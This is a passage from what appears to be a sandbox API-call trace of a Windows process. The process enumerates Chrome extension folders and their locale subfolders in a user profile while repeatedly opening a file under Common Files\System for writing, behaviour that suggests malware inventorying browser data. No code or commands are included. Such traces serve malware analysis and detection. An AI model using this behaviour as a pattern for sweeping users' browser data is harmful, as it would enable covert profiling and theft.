cAlternateFileName="\x01")) returned 0xffffffff [0133.097] AreFileApisANSI () returned 1 [0133.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.097] GetFileType (hFile=0x19c) returned 0x1 [0133.097] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x280c9, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.097] AreFileApisANSI () returned 1 [0133.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.097] GetFileType (hFile=0x19c) returned 0x1 [0133.100] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x281cc, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.100] AreFileApisANSI () returned 1 [0133.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.100] GetFileType (hFile=0x19c) returned 0x1 [0133.100] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x282d2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.100] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0133.101] GetLastError () returned 0x12 [0133.101] AreFileApisANSI () returned 1 [0133.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0133.101] GetFileType (hFile=0x198) returned 0x1 [0133.101] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0133.153] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0133.153] GetLastError () returned 0x12 [0133.153] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0133.153] GetLastError () returned 0x12 [0133.153] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0133.153] GetLastError () returned 0x12 [0133.153] AreFileApisANSI () returned 1 [0133.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0133.154] GetFileType (hFile=0x190) returned 0x1 [0133.154] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0133.154] AreFileApisANSI () returned 1 [0133.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0133.154] GetFileType (hFile=0x194) returned 0x1 [0133.154] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0133.281] AreFileApisANSI () returned 1 [0133.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0133.281] GetFileType (hFile=0x198) returned 0x1 [0133.281] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0133.512] AreFileApisANSI () returned 1 [0133.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.512] GetFileType (hFile=0x19c) returned 0x1 [0133.512] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x287c2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.513] AreFileApisANSI () returned 1 [0133.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.513] GetFileType (hFile=0x19c) returned 0x1 [0133.513] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x288c6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.513] AreFileApisANSI () returned 1 [0133.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.513] GetFileType (hFile=0x19c) returned 0x1 [0133.513] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x289ca, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.513] AreFileApisANSI () returned 1 [0133.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.513] GetFileType (hFile=0x19c) returned 0x1 [0133.513] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x28ace, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.514] AreFileApisANSI () returned 1 [0133.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.514] GetFileType (hFile=0x19c) returned 0x1 [0133.514] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x28bd2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.514] AreFileApisANSI () returned 1 [0133.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.514] GetFileType (hFile=0x19c) returned 0x1 [0133.514] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x28cd6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.514] AreFileApisANSI () returned 1 [0133.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.514] GetFileType (hFile=0x19c) returned 0x1 [0133.514] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x28dda, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.515] AreFileApisANSI () returned 1 [0133.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.515] GetFileType (hFile=0x19c) returned 0x1 [0133.515] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x28ede, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.515] AreFileApisANSI () returned 1 [0133.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.515] GetFileType (hFile=0x19c) returned 0x1 [0133.515] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x29000, nFileSizeHigh=0x0, nFileSizeLow=0x28fe2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.515] AreFileApisANSI () returned 1 [0133.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.515] GetFileType (hFile=0x19c) returned 0x1 [0133.516] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x290e6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.516] AreFileApisANSI () returned 1 [0133.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.516] GetFileType (hFile=0x19c) returned 0x1 [0133.516] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x291ea, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.516] AreFileApisANSI () returned 1 [0133.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.516] GetFileType (hFile=0x19c) returned 0x1 [0133.516] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2a000, nFileSizeHigh=0x0, nFileSizeLow=0x292ef, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.516] AreFileApisANSI () returned 1 [0133.516] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.516] 